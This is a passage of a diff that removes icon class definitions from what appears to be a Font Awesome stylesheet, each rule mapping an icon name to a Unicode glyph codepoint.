- content: "\f6f1"; }
-
-.fa-file-zipper::before {
- content: "\f1c6"; }
-
-.fa-file-archive::before {
- content: "\f1c6"; }
-
-.fa-square::before {
- content: "\f0c8"; }
-
-.fa-martini-glass-empty::before {
- content: "\f000"; }
-
-.fa-glass-martini::before {
- content: "\f000"; }
-
-.fa-couch::before {
- content: "\f4b8"; }
-
-.fa-cedi-sign::before {
- content: "\e0df"; }
-
-.fa-italic::before {
- content: "\f033"; }
-
-.fa-table-cells-column-lock::before {
- content: "\e678"; }
-
-.fa-church::before {
- content: "\f51d"; }
-
-.fa-comments-dollar::before {
- content: "\f653"; }
-
-.fa-democrat::before {
- content: "\f747"; }
-
-.fa-z::before {
- content: "\5a"; }
-
-.fa-person-skiing::before {
- content: "\f7c9"; }
-
-.fa-skiing::before {
- content: "\f7c9"; }
-
-.fa-road-lock::before {
- content: "\e567"; }
-
-.fa-a::before {
- content: "\41"; }
-
-.fa-temperature-arrow-down::before {
- content: "\e03f"; }
-
-.fa-temperature-down::before {
- content: "\e03f"; }
-
-.fa-feather-pointed::before {
- content: "\f56b"; }
-
-.fa-feather-alt::before {
- content: "\f56b"; }
-
-.fa-p::before {
- content: "\50"; }
-
-.fa-snowflake::before {
- content: "\f2dc"; }
-
-.fa-newspaper::before {
- content: "\f1ea"; }
-
-.fa-rectangle-ad::before {
- content: "\f641"; }
-
-.fa-ad::before {
- content: "\f641"; }
-
-.fa-circle-arrow-right::before {
- content: "\f0a9"; }
-
-.fa-arrow-circle-right::before {
- content: "\f0a9"; }
-
-.fa-filter-circle-xmark::before {
- content: "\e17b"; }
-
-.fa-locust::before {
- content: "\e520"; }
-
-.fa-sort::before {
- content: "\f0dc"; }
-
-.fa-unsorted::before {
- content: "\f0dc"; }
-
-.fa-list-ol::before {
- content: "\f0cb"; }
-
-.fa-list-1-2::before {
- content: "\f0cb"; }
-
-.fa-list-numeric::before {
- content: "\f0cb"; }
-
-.fa-person-dress-burst::before {
- content: "\e544"; }
-
-.fa-money-check-dollar::before {
- content: "\f53d"; }
-
-.fa-money-check-alt::before {
- content: "\f53d"; }
-
-.fa-vector-square::before {
- content: "\f5cb"; }
-
-.fa-bread-slice::before {
- content: "\f7ec"; }
-
-.fa-language::before {
- content: "\f1ab"; }
-
-.fa-face-kiss-wink-heart::before {
- content: "\f598"; }
-
-.fa-kiss-wink-heart::before {
- content: "\f598"; }
-
-.fa-filter::before {
- content: "\f0b0"; }
-
-.fa-question::before {
- content: "\3f"; }
-
-.fa-file-signature::before {
- content: "\f573"; }
-
-.fa-up-down-left-right::before {
- content: "\f0b2"; }
-
-.fa-arrows-alt::before {
- content: "\f0b2"; }
-
-.fa-house-chimney-user::before {
- content: "\e065"; }
-
-.fa-hand-holding-heart::before {
- content: "\f4be"; }
-
-.fa-puzzle-piece::before {
- content: "\f12e"; }
-
-.fa-money-check::before {
- content: "\f53c"; }
-
-.fa-star-half-stroke::before {
- content: "\f5c0"; }
-
-.fa-star-half-alt::before {
- content: "\f5c0"; }
-
-.fa-code::before {
- content: "\f121"; }
-
-.fa-whiskey-glass::before {
- content: "\f7a0"; }
-
-.fa-glass-whiskey::before {
- content: "\f7a0"; }
-
-.fa-building-circle-exclamation::before {
- content: "\e4d3"; }
-
-.fa-magnifying-glass-chart::before {
- content: "\e522"; }
-
-.fa-arrow-up-right-from-square::before {
- content: "\f08e"; }
-
-.fa-external-link::before {
- content: "\f08e"; }
-
-.fa-cubes-stacked::before {
- content: "\e4e6"; }
-
-.fa-won-sign::before {
- content: "\f159"; }
-
-.fa-krw::before {
- content: "\f159"; }
-
-.fa-won::before {
- content: "\f159"; }
-
-.fa-virus-covid::before {
- content: "\e4a8"; }
-
-.fa-austral-sign::before {
- content: "\e0a9"; }
-
-.fa-f::before {
- content: "\46"; }
-
-.fa-leaf::before {
- content: "\f06c"; }
-
-.fa-road::before {
- content: "\f018"; }
-
-.fa-taxi::before {
- content: "\f1ba"; }
-
-.fa-cab::before {
- content: "\f1ba"; }
-
-.fa-person-circle-plus::before {
- content: "\e541"; }
-
-.fa-chart-pie::before {
- content: "\f200"; }
-
-.fa-pie-chart::before {
- content: "\f200"; }
-
-.fa-bolt-lightning::before {
- content: "\e0b7"; }
-
-.fa-sack-xmark::before {
- content: "\e56a"; }
-
-.fa-file-excel::before {
- content: "\f1c3"; }
-
-.fa-file-contract::before {
- content: "\f56c"; }
-
-.fa-fish-fins::before {
- content: "\e4f2"; }
-
-.fa-building-flag::before {
- content: "\e4d5"; }
-
-.fa-face-grin-beam::before {
- content: "\f582"; }
-
-.fa-grin-beam::before {
- content: "\f582"; }
-
-.fa-object-ungroup::before {
- content: "\f248"; }
-
-.fa-poop::before {
- content: "\f619"; }
-
-.fa-location-pin::before {
- content: "\f041"; }
-
-.fa-map-marker::before {
- content: "\f041"; }
-
-.fa-kaaba::before {
- content: "\f66b"; }
-
-.fa-toilet-paper::before {
- content: "\f71e"; }
-
-.fa-helmet-safety::before {
- content: "\f807"; }
-
-.fa-hard-hat::before {
- content: "\f807"; }
-
-.fa-hat-hard::before {
- content: "\f807"; }
-
-.fa-eject::before {
- content: "\f052"; }
-
-.fa-circle-right::before {
- content: "\f35a"; }
-
-.fa-arrow-alt-circle-right::before {
- content: "\f35a"; }
-
-.fa-plane-circle-check::before {
- content: "\e555"; }
-
-.fa-face-rolling-eyes::before {
- content: "\f5a5"; }
-
-.fa-meh-rolling-eyes::before {
- content: "\f5a5"; }
-
-.fa-object-group::before {
- content: "\f247"; }
-
-.fa-chart-line::before {
- content: "\f201"; }
-
-.fa-line-chart::before {
- content: "\f201"; }
-
-.fa-mask-ventilator::before {
- content: "\e524"; }
-
-.fa-arrow-right::before {
- content: "\f061"; }
-
-.fa-signs-post::before {
- content: "\f277"; }
-
-.fa-map-signs::before {
- content: "\f277"; }
-
-.fa-cash-register::before {
- content: "\f788"; }
-
-.fa-person-circle-question::before {
- content: "\e542"; }
-
-.fa-h::before {
- content: "\48"; }
-
-.fa-tarp::before {
- content: "\e57b"; }
-
-.fa-screwdriver-wrench::before {
- content: "\f7d9"; }
-
-.fa-tools::before {
- content: "\f7d9"; }
-
-.fa-arrows-to-eye::before {
- content: "\e4bf"; }
-
-.fa-plug-circle-bolt::before {
- content: "\e55b"; }
-
-.fa-heart::before {
- content: "\f004"; }
-
-.fa-mars-and-venus::before {
- content: "\f224"; }
-
-.fa-house-user::before {
- content: "\e1b0"; }
-
-.fa-home-user::before {
- content: "\e1b0"; }
-
-.fa-dumpster-fire::before {
- content: "\f794"; }
-
-.fa-house-crack::before {
- content: "\e3b1"; }
-
-.fa-martini-glass-citrus::before {
- content: "\f561"; }
-
-.fa-cocktail::before {
- content: "\f561"; }
-
-.fa-face-surprise::before {
- content: "\f5c2"; }
-
-.fa-surprise::before {
- content: "\f5c2"; }
-
-.fa-bottle-water::before {
- content: "\e4c5"; }
-
-.fa-circle-pause::before {
- content: "\f28b"; }
-
-.fa-pause-circle::before {
- content: "\f28b"; }
-
-.fa-toilet-paper-slash::before {
- content: "\e072"; }
-
-.fa-apple-whole::before {
- content: "\f5d1"; }
-
-.fa-apple-alt::before {
- content: "\f5d1"; }
-
-.fa-kitchen-set::before {
- content: "\e51a"; }
-
-.fa-r::before {
- content: "\52"; }
-
-.fa-temperature-quarter::before {
- content: "\f2ca"; }
-
-.fa-temperature-1::before {
- content: "\f2ca"; }
-
-.fa-thermometer-1::before {
- content: "\f2ca"; }
-
-.fa-thermometer-quarter::before {
- content: "\f2ca"; }
-
-.fa-cube::before {
- content: "\f1b2"; }
-
-.fa-bitcoin-sign::before {
- content: "\e0b4"; }
-
-.fa-shield-dog::before {
- content: "\e573"; }
-
-.fa-solar-panel::before {
- content: "\f5ba"; }
-
-.fa-lock-open::before {
- content: "\f3c1"; }
-
-.fa-elevator::before {
- content: "\e16d"; }
-
-.fa-money-bill-transfer::before {
- content: "\e528"; }
-
-.fa-money-bill-trend-up::before {
- content: "\e529"; }
-
-.fa-house-flood-water-circle-arrow-right::before {
- content: "\e50f"; }
-
-.fa-square-poll-horizontal::before {
- content: "\f682"; }
-
-.fa-poll-h::before {
- content: "\f682"; }
-
-.fa-circle::before {
- content: "\f111"; }
-
-.fa-backward-fast::before {
- content: "\f049"; }
-
-.fa-fast-backward::before {
- content: "\f049"; }
-
-.fa-recycle::before {
- content: "\f1b8"; }
-
-.fa-user-astronaut::before {
- content: "\f4fb"; }
-
-.fa-plane-slash::before {
- content: "\e069"; }
-
-.fa-trademark::before {
- content: "\f25c"; }
-
-.fa-basketball::before {
- content: "\f434"; }
-
-.fa-basketball-ball::before {
- content: "\f434"; }
-
-.fa-satellite-dish::before {
- content: "\f7c0"; }
-
-.fa-circle-up::before {
- content: "\f35b"; }
-
-.fa-arrow-alt-circle-up::before {
- content: "\f35b"; }
-
-.fa-mobile-screen-button::before {
- content: "\f3cd"; }
-
-.fa-mobile-alt::before {
- content: "\f3cd"; }
-
-.fa-volume-high::before {
- content: "\f028"; }
-
-.fa-volume-up::before {
- content: "\f028"; }
-
-.fa-users-rays::before {
- content: "\e593"; }
-
-.fa-wallet::before {
- content: "\f555"; }
-
-.fa-clipboard-check::before {
- content: "\f46c"; }
-
-.fa-file-audio::before {
- content: "\f1c7"; }
-
-.fa-burger::before {
- content: "\f805"; }
-
-.fa-hamburger::before {
- content: "\f805"; }
-
-.fa-wrench::before {
- content: "\f0ad"; }
-
-.fa-bugs::before {
- content: "\e4d0"; }
-
-.fa-rupee-sign::before {
- content: "\f156"; }
-
-.fa-rupee::before {
- content: "\f156"; }
-
-.fa-file-image::before {
- content: "\f1c5"; }
-
-.fa-circle-question::before {
- content: "\f059"; }
-
-.fa-question-circle::before {
- content: "\f059"; }
-
-.fa-plane-departure::before {
- content: "\f5b0"; }
-
-.fa-handshake-slash::before {
- content: "\e060"; }
-
-.fa-book-bookmark::before {
- content: "\e0bb"; }
-
-.fa-code-branch::before {
- content: "\f126"; }
-
-.fa-hat-cowboy::before {
- content: "\f8c0"; }
-
-.fa-bridge::before {
- content: "\e4c8"; }
-
-.fa-phone-flip::before {
- content: "\f879"; }
-
-.fa-phone-alt::before {
- content: "\f879"; }
-
-.fa-truck-front::before {
- content: "\e2b7"; }
-
-.fa-cat::before {
- content: "\f6be"; }
-
-.fa-anchor-circle-exclamation::before {
- content: "\e4ab"; }
-
-.fa-truck-field::before {
- content: "\e58d"; }
-
-.fa-route::before {
- content: "\f4d7"; }
-
-.fa-clipboard-question::before {
- content: "\e4e3"; }
-
-.fa-panorama::before {
- content: "\e209"; }
-
-.fa-comment-medical::before {
- content: "\f7f5"; }
-
-.fa-teeth-open::before {
- content: "\f62f"; }
-
-.fa-file-circle-minus::before {
- content: "\e4ed"; }
-
-.fa-tags::before {
- content: "\f02c"; }
-
-.fa-wine-glass::before {
- content: "\f4e3"; }
-
-.fa-forward-fast::before {
- content: "\f050"; }
-
-.fa-fast-forward::before {
- content: "\f050"; }
-
-.fa-face-meh-blank::before {
- content: "\f5a4"; }
-
-.fa-meh-blank::before {
- content: "\f5a4"; }
-
-.fa-square-parking::before {
- content: "\f540"; }
-
-.fa-parking::before {
- content: "\f540"; }
-
-.fa-house-signal::before {
- content: "\e012"; }
-
-.fa-bars-progress::before {
- content: "\f828"; }
-
-.fa-tasks-alt::before {
- content: "\f828"; }
-
-.fa-faucet-drip::before {
- content: "\e006"; }
-
-.fa-cart-flatbed::before {
- content: "\f474"; }
-
-.fa-dolly-flatbed::before {
- content: "\f474"; }
-
-.fa-ban-smoking::before {
- content: "\f54d"; }
-
-.fa-smoking-ban::before {
- content: "\f54d"; }
-
-.fa-terminal::before {
- content: "\f120"; }
-
-.fa-mobile-button::before {
- content: "\f10b"; }
-
-.fa-house-medical-flag::before {
- content: "\e514"; }
-
-.fa-basket-shopping::before {
- content: "\f291"; }
-
-.fa-shopping-basket::before {
- content: "\f291"; }
-
-.fa-tape::before {
- content: "\f4db"; }
-
-.fa-bus-simple::before {
- content: "\f55e"; }
-
-.fa-bus-alt::before {
- content: "\f55e"; }
-
-.fa-eye::before {
- content: "\f06e"; }
-
-.fa-face-sad-cry::before {
- content: "\f5b3"; }
-
-.fa-sad-cry::before {
- content: "\f5b3"; }
-
-.fa-audio-description::before {
- content: "\f29e"; }
-
-.fa-person-military-to-person::before {
- content: "\e54c"; }
-
-.fa-file-shield::before {
- content: "\e4f0"; }
-
-.fa-user-slash::before {
- content: "\f506"; }
-
-.fa-pen::before {
- content: "\f304"; }
-
-.fa-tower-observation::before {
- content: "\e586"; }
-
-.fa-file-code::before {
- content: "\f1c9"; }
-
-.fa-signal::before {
- content: "\f012"; }
-
-.fa-signal-5::before {
- content: "\f012"; }
-
-.fa-signal-perfect::before {
- content: "\f012"; }
-
-.fa-bus::before {
- content: "\f207"; }
-
-.fa-heart-circle-xmark::before {
- content: "\e501"; }
-
-.fa-house-chimney::before {
- content: "\e3af"; }
-
-.fa-home-lg::before {
- content: "\e3af"; }
-
-.fa-window-maximize::before {
- content: "\f2d0"; }
-
-.fa-face-frown::before {
- content: "\f119"; }
-
-.fa-frown::before {
- content: "\f119"; }
-
-.fa-prescription::before {
- content: "\f5b1"; }
-
-.fa-shop::before {
- content: "\f54f"; }
-
-.fa-store-alt::before {
- content: "\f54f"; }
-
-.fa-floppy-disk::before {
- content: "\f0c7"; }
-
-.fa-save::before {
- content: "\f0c7"; }
-
-.fa-vihara::before {
- content: "\f6a7"; }
-
-.fa-scale-unbalanced::before {
- content: "\f515"; }
-
-.fa-balance-scale-left::before {
- content: "\f515"; }
-
-.fa-sort-up::before {
- content: "\f0de"; }
-
-.fa-sort-asc::before {
- content: "\f0de"; }
-
-.fa-comment-dots::before {
- content: "\f4ad"; }
-
-.fa-commenting::before {
- content: "\f4ad"; }
-
-.fa-plant-wilt::before {
- content: "\e5aa"; }
-
-.fa-diamond::before {
- content: "\f219"; }
-
-.fa-face-grin-squint::before {
- content: "\f585"; }
-
-.fa-grin-squint::before {
- content: "\f585"; }
-
-.fa-hand-holding-dollar::before {
- content: "\f4c0"; }
-
-.fa-hand-holding-usd::before {
- content: "\f4c0"; }
-
-.fa-bacterium::before {
- content: "\e05a"; }
-
-.fa-hand-pointer::before {
- content: "\f25a"; }
-
-.fa-drum-steelpan::before {
- content: "\f56a"; }
-
-.fa-hand-scissors::before {
- content: "\f257"; }
-
-.fa-hands-praying::before {
- content: "\f684"; }
-
-.fa-praying-hands::before {
- content: "\f684"; }
-
-.fa-arrow-rotate-right::before {
- content: "\f01e"; }
-
-.fa-arrow-right-rotate::before {
- content: "\f01e"; }
-
-.fa-arrow-rotate-forward::before {
- content: "\f01e"; }
-
-.fa-redo::before {
- content: "\f01e"; }
-
-.fa-biohazard::before {
- content: "\f780"; }
-
-.fa-location-crosshairs::before {
- content: "\f601"; }
-
-.fa-location::before {
- content: "\f601"; }
-
-.fa-mars-double::before {
- content: "\f227"; }
-
-.fa-child-dress::before {
- content: "\e59c"; }
-
-.fa-users-between-lines::before {
- content: "\e591"; }
-
-.fa-lungs-virus::before {
- content: "\e067"; }
-
-.fa-face-grin-tears::before {
- content: "\f588"; }
-
-.fa-grin-tears::before {
- content: "\f588"; }
-
-.fa-phone::before {
- content: "\f095"; }
-
-.fa-calendar-xmark::before {
- content: "\f273"; }
-
-.fa-calendar-times::before {
- content: "\f273"; }
-
-.fa-child-reaching::before {
- content: "\e59d"; }
-
-.fa-head-side-virus::before {
- content: "\e064"; }
-
-.fa-user-gear::before {
- content: "\f4fe"; }
-
-.fa-user-cog::before {
- content: "\f4fe"; }
-
-.fa-arrow-up-1-9::before {
- content: "\f163"; }
-
-.fa-sort-numeric-up::before {
- content: "\f163"; }
-
-.fa-door-closed::before {
- content: "\f52a"; }
-
-.fa-shield-virus::before {
- content: "\e06c"; }
-
-.fa-dice-six::before {
- content: "\f526"; }
-
-.fa-mosquito-net::before {
- content: "\e52c"; }
-
-.fa-bridge-water::before {
- content: "\e4ce"; }
-
-.fa-person-booth::before {
- content: "\f756"; }
-
-.fa-text-width::before {
- content: "\f035"; }
-
-.fa-hat-wizard::before {
- content: "\f6e8"; }
-
-.fa-pen-fancy::before {
- content: "\f5ac"; }
-
-.fa-person-digging::before {
- content: "\f85e"; }
-
-.fa-digging::before {
- content: "\f85e"; }
-
-.fa-trash::before {
- content: "\f1f8"; }
-
-.fa-gauge-simple::before {
- content: "\f629"; }
-
-.fa-gauge-simple-med::before {
- content: "\f629"; }
-
-.fa-tachometer-average::before {
- content: "\f629"; }
-
-.fa-book-medical::before {
- content: "\f7e6"; }
-
-.fa-poo::before {
- content: "\f2fe"; }
-
-.fa-quote-right::before {
- content: "\f10e"; }
-
-.fa-quote-right-alt::before {
- content: "\f10e"; }
-
-.fa-shirt::before {
- content: "\f553"; }
-
-.fa-t-shirt::before {
- content: "\f553"; }
-
-.fa-tshirt::before {
- content: "\f553"; }
-
-.fa-cubes::before {
- content: "\f1b3"; }
-
-.fa-divide::before {
- content: "\f529"; }
-
-.fa-tenge-sign::before {
- content: "\f7d7"; }
-
-.fa-tenge::before {
- content: "\f7d7"; }
-
-.fa-headphones::before {
- content: "\f025"; }
-
-.fa-hands-holding::before {
- content: "\f4c2"; }
-
-.fa-hands-clapping::before {
- content: "\e1a8"; }
-
-.fa-republican::before {
- content: "\f75e"; }
-
-.fa-arrow-left::before {
- content: "\f060"; }
-
-.fa-person-circle-xmark::before {
- content: "\e543"; }
-
-.fa-ruler::before {
- content: "\f545"; }
-
-.fa-align-left::before {
- content: "\f036"; }
-
-.fa-dice-d6::before {
- content: "\f6d1"; }
-
-.fa-restroom::before {
- content: "\f7bd"; }
-
-.fa-j::before {
- content: "\4a"; }
-
-.fa-users-viewfinder::before {
- content: "\e595"; }
-
-.fa-file-video::before {
- content: "\f1c8"; }
-
-.fa-up-right-from-square::before {
- content: "\f35d"; }
-
-.fa-external-link-alt::before {
- content: "\f35d"; }
-
-.fa-table-cells::before {
- content: "\f00a"; }
-
-.fa-th::before {
- content: "\f00a"; }
-
-.fa-file-pdf::before {
- content: "\f1c1"; }
-
-.fa-book-bible::before {
- content: "\f647"; }
-
-.fa-bible::before {
- content: "\f647"; }
-
-.fa-o::before {
- content: "\4f"; }
-
-.fa-suitcase-medical::before {
- content: "\f0fa"; }
-
-.fa-medkit::before {
- content: "\f0fa"; }
-
-.fa-user-secret::before {
- content: "\f21b"; }
-
-.fa-otter::before {
- content: "\f700"; }
-
-.fa-person-dress::before {
- content: "\f182"; }
-
-.fa-female::before {
- content: "\f182"; }
-
-.fa-comment-dollar::before {
- content: "\f651"; }
-
-.fa-business-time::before {
- content: "\f64a"; }
-
-.fa-briefcase-clock::before {
- content: "\f64a"; }
-
-.fa-table-cells-large::before {
- content: "\f009"; }
-
-.fa-th-large::before {
- content: "\f009"; }
-
-.fa-book-tanakh::before {
- content: "\f827"; }
-
-.fa-tanakh::before {
- content: "\f827"; }
-
-.fa-phone-volume::before {
- content: "\f2a0"; }
-
-.fa-volume-control-phone::before {
- content: "\f2a0"; }
-
-.fa-hat-cowboy-side::before {
- content: "\f8c1"; }
-
-.fa-clipboard-user::before {
- content: "\f7f3"; }
-
-.fa-child::before {
- content: "\f1ae"; }
-
-.fa-lira-sign::before {
- content: "\f195"; }
-
-.fa-satellite::before {
- content: "\f7bf"; }
-
-.fa-plane-lock::before {
- content: "\e558"; }
-
-.fa-tag::before {
- content: "\f02b"; }
-
-.fa-comment::before {
- content: "\f075"; }
-
-.fa-cake-candles::before {
- content: "\f1fd"; }
-
-.fa-birthday-cake::before {
- content: "\f1fd"; }
-
-.fa-cake::before {
- content: "\f1fd"; }
-
-.fa-envelope::before {
- content: "\f0e0"; }
-
-.fa-angles-up::before {
- content: "\f102"; }
-
-.fa-angle-double-up::before {
- content: "\f102"; }
-
-.fa-paperclip::before {
- content: "\f0c6"; }
-
-.fa-arrow-right-to-city::before {
- content: "\e4b3"; }
-
-.fa-ribbon::before {
- content: "\f4d6"; }
-
-.fa-lungs::before {
- content: "\f604"; }
-
-.fa-arrow-up-9-1::before {
- content: "\f887"; }
-
-.fa-sort-numeric-up-alt::before {
- content: "\f887"; }
-
-.fa-litecoin-sign::before {
- content: "\e1d3"; }
-
-.fa-border-none::before {
- content: "\f850"; }
-
-.fa-circle-nodes::before {
- content: "\e4e2"; }
-
-.fa-parachute-box::before {
- content: "\f4cd"; }
-
-.fa-indent::before {
- content: "\f03c"; }
-
-.fa-truck-field-un::before {
- content: "\e58e"; }
-
-.fa-hourglass::before {
- content: "\f254"; }
-
-.fa-hourglass-empty::before {
- content: "\f254"; }
-
-.fa-mountain::before {
- content: "\f6fc"; }
-
-.fa-user-doctor::before {
- content: "\f0f0"; }
-
-.fa-user-md::before {
- content: "\f0f0"; }
-
-.fa-circle-info::before {
- content: "\f05a"; }
-
-.fa-info-circle::before {
- content: "\f05a"; }
-
-.fa-cloud-meatball::before {
- content: "\f73b"; }
-
-.fa-camera::before {
- content: "\f030"; }
-
-.fa-camera-alt::before {
- content: "\f030"; }
-
-.fa-square-virus::before {
- content: "\e578"; }
-
-.fa-meteor::before {
- content: "\f753"; }
-
-.fa-car-on::before {
- content: "\e4dd"; }
-
-.fa-sleigh::before {
- content: "\f7cc"; }
-
-.fa-arrow-down-1-9::before {
- content: "\f162"; }
-
-.fa-sort-numeric-asc::before {
- content: "\f162"; }
-
-.fa-sort-numeric-down::before {
- content: "\f162"; }
-
-.fa-hand-holding-droplet::before {
- content: "\f4c1"; }
-
-.fa-hand-holding-water::before {
- content: "\f4c1"; }
-
-.fa-water::before {
- content: "\f773"; }
-
-.fa-calendar-check::before {
- content: "\f274"; }
-
-.fa-braille::before {
- content: "\f2a1"; }
-
-.fa-prescription-bottle-medical::before {
- content: "\f486"; }
-
-.fa-prescription-bottle-alt::before {
- content: "\f486"; }
-
-.fa-landmark::before {
- content: "\f66f"; }
-
-.fa-truck::before {
- content: "\f0d1"; }
-
-.fa-crosshairs::before {
- content: "\f05b"; }
-
-.fa-person-cane::before {
- content: "\e53c"; }
-
-.fa-tent::before {
- content: "\e57d"; }
-
-.fa-vest-patches::before {
- content: "\e086"; }
-
-.fa-check-double::before {
- content: "\f560"; }
-
-.fa-arrow-down-a-z::before {
- content: "\f15d"; }
-
-.fa-sort-alpha-asc::before {
- content: "\f15d"; }
-
-.fa-sort-alpha-down::before {
- content: "\f15d"; }
-
-.fa-money-bill-wheat::before {
- content: "\e52a"; }
-
-.fa-cookie::before {
- content: "\f563"; }
-
-.fa-arrow-rotate-left::before {
- content: "\f0e2"; }
-
-.fa-arrow-left-rotate::before {
- content: "\f0e2"; }
-
-.fa-arrow-rotate-back::before {
- content: "\f0e2"; }
-
-.fa-arrow-rotate-backward::before {
- content: "\f0e2"; }
-
-.fa-undo::before {
- content: "\f0e2"; }
-
-.fa-hard-drive::before {
- content: "\f0a0"; }
-
-.fa-hdd::before {
- content: "\f0a0"; }
-
-.fa-face-grin-squint-tears::before {
- content: "\f586"; }
-
-.fa-grin-squint-tears::before {
- content: "\f586"; }
-
-.fa-dumbbell::before {
- content: "\f44b"; }
-
-.fa-rectangle-list::before {
- content: "\f022"; }
-
-.fa-list-alt::before {
- content: "\f022"; }
-
-.fa-tarp-droplet::before {
- content: "\e57c"; }
-
-.fa-house-medical-circle-check::before {
- content: "\e511"; }
-
-.fa-person-skiing-nordic::before {
- content: "\f7ca"; }
-
-.fa-skiing-nordic::before {
- content: "\f7ca"; }
-
-.fa-calendar-plus::before {
- content: "\f271"; }
-
-.fa-plane-arrival::before {
- content: "\f5af"; }
-
-.fa-circle-left::before {
- content: "\f359"; }
-
-.fa-arrow-alt-circle-left::before {
- content: "\f359"; }
-
-.fa-train-subway::before {
- content: "\f239"; }
-
-.fa-subway::before {
- content: "\f239"; }
-
-.fa-chart-gantt::before {
- content: "\e0e4"; }
-
-.fa-indian-rupee-sign::before {
- content: "\e1bc"; }
-
-.fa-indian-rupee::before {
- content: "\e1bc"; }
-
-.fa-inr::before {
- content: "\e1bc"; }
-
-.fa-crop-simple::before {
- content: "\f565"; }
-
-.fa-crop-alt::before {
- content: "\f565"; }
-
-.fa-money-bill-1::before {
- content: "\f3d1"; }
-
-.fa-money-bill-alt::before {
- content: "\f3d1"; }
-
-.fa-left-long::before {
- content: "\f30a"; }
-
-.fa-long-arrow-alt-left::before {
- content: "\f30a"; }
-
-.fa-dna::before {
- content: "\f471"; }
-
-.fa-virus-slash::before {
- content: "\e075"; }
-
-.fa-minus::before {
- content: "\f068"; }
-
-.fa-subtract::before {
- content: "\f068"; }
-
-.fa-chess::before {
- content: "\f439"; }
-
-.fa-arrow-left-long::before {
- content: "\f177"; }
-
-.fa-long-arrow-left::before {
- content: "\f177"; }
-
-.fa-plug-circle-check::before {
- content: "\e55c"; }
-
-.fa-street-view::before {
- content: "\f21d"; }
-
-.fa-franc-sign::before {
- content: "\e18f"; }
-
-.fa-volume-off::before {
- content: "\f026"; }
-
-.fa-hands-asl-interpreting::before {
- content: "\f2a3"; }
-
-.fa-american-sign-language-interpreting::before {
- content: "\f2a3"; }
-
-.fa-asl-interpreting::before {
- content: "\f2a3"; }
-
-.fa-hands-american-sign-language-interpreting::before {
- content: "\f2a3"; }
-
-.fa-gear::before {
- content: "\f013"; }
-
-.fa-cog::before {
- content: "\f013"; }
-
-.fa-droplet-slash::before {
- content: "\f5c7"; }
-
-.fa-tint-slash::before {
- content: "\f5c7"; }
-
-.fa-mosque::before {
- content: "\f678"; }
-
-.fa-mosquito::before {
- content: "\e52b"; }
-
-.fa-star-of-david::before {
- content: "\f69a"; }
-
-.fa-person-military-rifle::before {
- content: "\e54b"; }
-
-.fa-cart-shopping::before {
- content: "\f07a"; }
-
-.fa-shopping-cart::before {
- content: "\f07a"; }
-
-.fa-vials::before {
- content: "\f493"; }
-
-.fa-plug-circle-plus::before {
- content: "\e55f"; }
-
-.fa-place-of-worship::before {
- content: "\f67f"; }
-
-.fa-grip-vertical::before {
- content: "\f58e"; }
-
-.fa-arrow-turn-up::before {
- content: "\f148"; }
-
-.fa-level-up::before {
- content: "\f148"; }
-
-.fa-u::before {
- content: "\55"; }
-
-.fa-square-root-variable::before {
- content: "\f698"; }
-
-.fa-square-root-alt::before {
- content: "\f698"; }
-
-.fa-clock::before {
- content: "\f017"; }
-
-.fa-clock-four::before {
- content: "\f017"; }
-
-.fa-backward-step::before {
- content: "\f048"; }
-
-.fa-step-backward::before {
- content: "\f048"; }
-
-.fa-pallet::before {
- content: "\f482"; }
-
-.fa-faucet::before {
- content: "\e005"; }
-
-.fa-baseball-bat-ball::before {
- content: "\f432"; }
-
-.fa-s::before {
- content: "\53"; }
-
-.fa-timeline::before {
- content: "\e29c"; }
-
-.fa-keyboard::before {
- content: "\f11c"; }
-
-.fa-caret-down::before {
- content: "\f0d7"; }
-
-.fa-house-chimney-medical::before {
- content: "\f7f2"; }
-
-.fa-clinic-medical::before {
- content: "\f7f2"; }
-
-.fa-temperature-three-quarters::before {
- content: "\f2c8"; }
-
-.fa-temperature-3::before {
- content: "\f2c8"; }
-
-.fa-thermometer-3::before {
- content: "\f2c8"; }
-
-.fa-thermometer-three-quarters::before {
- content: "\f2c8"; }
-
-.fa-mobile-screen::before {
- content: "\f3cf"; }
-
-.fa-mobile-android-alt::before {
- content: "\f3cf"; }
-
-.fa-plane-up::before {
- content: "\e22d"; }
-
-.fa-piggy-bank::before {
- content: "\f4d3"; }
-
-.fa-battery-half::before {
- content: "\f242"; }
-
-.fa-battery-3::before {
- content: "\f242"; }
-
-.fa-mountain-city::before {
- content: "\e52e"; }
-
-.fa-coins::before {
- content: "\f51e"; }
-
-.fa-khanda::before {
- content: "\f66d"; }
-
-.fa-sliders::before {
- content: "\f1de"; }
-
-.fa-sliders-h::before {
- content: "\f1de"; }
-
-.fa-folder-tree::before {
- content: "\f802"; }
-
-.fa-network-wired::before {
- content: "\f6ff"; }
-
-.fa-map-pin::before {
- content: "\f276"; }
-
-.fa-hamsa::before {
- content: "\f665"; }
-
-.fa-cent-sign::before {
- content: "\e3f5"; }
-
-.fa-flask::before {
- content: "\f0c3"; }
-
-.fa-person-pregnant::before {
- content: "\e31e"; }
-
-.fa-wand-sparkles::before {
- content: "\f72b"; }
-
-.fa-ellipsis-vertical::before {
- content: "\f142"; }
-
-.fa-ellipsis-v::before {
- content: "\f142"; }
-
-.fa-ticket::before {
- content: "\f145"; }
-
-.fa-power-off::before {
- content: "\f011"; }
-
-.fa-right-long::before {
- content: "\f30b"; }
-
-.fa-long-arrow-alt-right::before {
- content: "\f30b"; }
-
-.fa-flag-usa::before {
- content: "\f74d"; }
-
-.fa-laptop-file::before {
- content: "\e51d"; }
-
-.fa-tty::before {
- content: "\f1e4"; }
-
-.fa-teletype::before {
- content: "\f1e4"; }
-
-.fa-diagram-next::before {
- content: "\e476"; }
-
-.fa-person-rifle::before {
- content: "\e54e"; }
-
-.fa-house-medical-circle-exclamation::before {
- content: "\e512"; }
-
-.fa-closed-captioning::before {
- content: "\f20a"; }
-
-.fa-person-hiking::before {
- content: "\f6ec"; }
-
-.fa-hiking::before {
- content: "\f6ec"; }
-
-.fa-venus-double::before {
- content: "\f226"; }
-
-.fa-images::before {
- content: "\f302"; }
-
-.fa-calculator::before {
- content: "\f1ec"; }
-
-.fa-people-pulling::before {
- content: "\e535"; }
-
-.fa-n::before {
- content: "\4e"; }
-
-.fa-cable-car::before {
- content: "\f7da"; }
-
-.fa-tram::before {
- content: "\f7da"; }
-
-.fa-cloud-rain::before {
- content: "\f73d"; }
-
-.fa-building-circle-xmark::before {
- content: "\e4d4"; }
-
-.fa-ship::before {
- content: "\f21a"; }
-
-.fa-arrows-down-to-line::before {
- content: "\e4b8"; }
-
-.fa-download::before {
- content: "\f019"; }
-
